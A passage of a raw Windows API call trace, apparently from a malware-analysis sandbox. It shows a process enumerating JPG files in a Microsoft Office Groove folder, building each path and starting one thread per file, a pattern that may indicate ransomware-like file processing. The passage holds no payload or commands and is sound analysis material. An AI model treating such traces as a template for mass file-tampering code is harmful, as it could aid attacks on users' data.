ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.JPG", cAlternateFileName="")) returned 1 [0173.878] wcscmp (_String1="CURRENCY.JPG", _String2=".") returned 1 [0173.878] wcscmp (_String1="CURRENCY.JPG", _String2="..") returned 1 [0173.878] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x9405f0 [0173.878] wcscpy (in: _Dest=0x9405f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.878] wcscat (in: _Dest=0x9405f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.878] wcscat (in: _Dest=0x9405f0, _Source="CURRENCY.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" [0173.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9405f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18 [0173.879] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATE.JPG", cAlternateFileName="")) returned 1 [0173.879] wcscmp (_String1="DATE.JPG", _String2=".") returned 1 [0173.879] wcscmp (_String1="DATE.JPG", _String2="..") returned 1 [0173.879] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0xd4d5d60 [0173.879] wcscpy (in: _Dest=0xd4d5d60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.879] wcscat (in: _Dest=0xd4d5d60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.879] wcscat (in: _Dest=0xd4d5d60, _Source="DATE.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" [0173.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4d5d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0173.880] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4139, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATETIME.JPG", cAlternateFileName="")) returned 1 [0173.880] wcscmp (_String1="DATETIME.JPG", _String2=".") returned 1 [0173.880] wcscmp (_String1="DATETIME.JPG", _String2="..") returned 1 [0173.880] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x9406d8 [0173.880] wcscpy (in: _Dest=0x9406d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.880] wcscat (in: _Dest=0x9406d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.880] wcscat (in: _Dest=0x9406d8, _Source="DATETIME.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" [0173.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9406d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c8 [0173.882] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalInk.jpg", cAlternateFileName="DIGITA~1.JPG")) returned 1 [0173.882] wcscmp (_String1="DigitalInk.jpg", _String2=".") returned 1 [0173.882] wcscmp (_String1="DigitalInk.jpg", _String2="..") returned 1 [0173.882] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbb48 [0173.882] wcscpy (in: _Dest=0xd4bbb48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.882] wcscat (in: _Dest=0xd4bbb48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.882] wcscat (in: _Dest=0xd4bbb48, _Source="DigitalInk.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" [0173.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8 [0173.883] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmbeddedView.jpg", cAlternateFileName="EMBEDD~1.JPG")) returned 1 [0173.883] wcscmp (_String1="EmbeddedView.jpg", _String2=".") returned 1 [0173.883] wcscmp (_String1="EmbeddedView.jpg", _String2="..") returned 1 [0173.883] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bb968 [0173.883] wcscpy (in: _Dest=0xd4bb968, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.883] wcscat (in: _Dest=0xd4bb968, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.883] wcscat (in: _Dest=0xd4bb968, _Source="EmbeddedView.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" [0173.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bb968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0173.884] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADING.JPG", cAlternateFileName="")) returned 1 [0173.884] wcscmp (_String1="HEADING.JPG", _String2=".") returned 1 [0173.884] wcscmp (_String1="HEADING.JPG", _String2="..") returned 1 [0173.884] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x9407c0 [0173.885] wcscpy (in: _Dest=0x9407c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.885] wcscat (in: _Dest=0x9407c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.885] wcscat (in: _Dest=0x9407c0, _Source="HEADING.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" [0173.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9407c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4 [0173.886] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x139a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMAGE.JPG", cAlternateFileName="")) returned 1 [0173.886] wcscmp (_String1="IMAGE.JPG", _String2=".") returned 1 [0173.886] wcscmp (_String1="IMAGE.JPG", _String2="..") returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x9408a8 [0173.886] wcscpy (in: _Dest=0x9408a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.886] wcscat (in: _Dest=0x9408a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.886] wcscat (in: _Dest=0x9408a8, _Source="IMAGE.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" [0173.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9408a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8 [0173.887] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINE.JPG", cAlternateFileName="")) returned 1 [0173.887] wcscmp (_String1="LINE.JPG", _String2=".") returned 1 [0173.887] wcscmp (_String1="LINE.JPG", _String2="..") returned 1 [0173.887] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0xd4d4b00 [0173.887] wcscpy (in: _Dest=0xd4d4b00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.887] wcscat (in: _Dest=0xd4d4b00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.887] wcscat (in: _Dest=0xd4d4b00, _Source="LINE.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" [0173.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4d4b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc [0173.888] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTBOX.JPG", cAlternateFileName="")) returned 1 [0173.888] wcscmp (_String1="LISTBOX.JPG", _String2=".") returned 1 [0173.888] wcscmp (_String1="LISTBOX.JPG", _String2="..") returned 1 [0173.889] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x940990 [0173.889] wcscpy (in: _Dest=0x940990, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.889] wcscat (in: _Dest=0x940990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.889] wcscat (in: _Dest=0x940990, _Source="LISTBOX.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" [0173.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0173.890] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NUMERIC.JPG", cAlternateFileName="")) returned 1 [0173.890] wcscmp (_String1="NUMERIC.JPG", _String2=".") returned 1 [0173.890] wcscmp (_String1="NUMERIC.JPG", _String2="..") returned 1 [0173.890] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x940a78 [0173.890] wcscpy (in: _Dest=0x940a78, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.890] wcscat (in: _Dest=0x940a78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.890] wcscat (in: _Dest=0x940a78, _Source="NUMERIC.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" [0173.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0173.891] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSWORD.JPG", cAlternateFileName="")) returned 1 [0173.891] wcscmp (_String1="PASSWORD.JPG", _String2=".") returned 1 [0173.891] wcscmp (_String1="PASSWORD.JPG", _String2="..") returned 1 [0173.891] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x940b60 [0173.891] wcscpy (in: _Dest=0x940b60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.891] wcscat (in: _Dest=0x940b60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.891] wcscat (in: _Dest=0x940b60, _Source="PASSWORD.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" [0173.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8 [0173.893] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIO.JPG", cAlternateFileName="")) returned 1 [0173.893] wcscmp (_String1="RADIO.JPG", _String2=".") returned 1 [0173.893] wcscmp (_String1="RADIO.JPG", _String2="..") returned 1 [0173.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x940c48 [0173.893] wcscpy (in: _Dest=0x940c48, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.893] wcscat (in: _Dest=0x940c48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.893] wcscat (in: _Dest=0x940c48, _Source="RADIO.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" [0173.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940c48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0 [0173.894] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ad9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SectionHeading.jpg", cAlternateFileName="SECTIO~1.JPG")) returned 1 [0173.894] wcscmp (_String1="SectionHeading.jpg", _String2=".") returned 1 [0173.894] wcscmp (_String1="SectionHeading.jpg", _String2="..") returned 1 [0173.894] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xec) returned 0x12cf7168 [0173.894] wcscpy (in: _Dest=0x12cf7168, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.894] wcscat (in: _Dest=0x12cf7168, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.894] wcscat (in: _Dest=0x12cf7168, _Source="SectionHeading.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" [0173.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf7168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0173.895] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="StaticText.jpg", cAlternateFileName="STATIC~1.JPG")) returned 1 [0173.895] wcscmp (_String1="StaticText.jpg", _String2=".") returned 1 [0173.895] wcscmp (_String1="StaticText.jpg", _String2="..") returned 1 [0173.895] 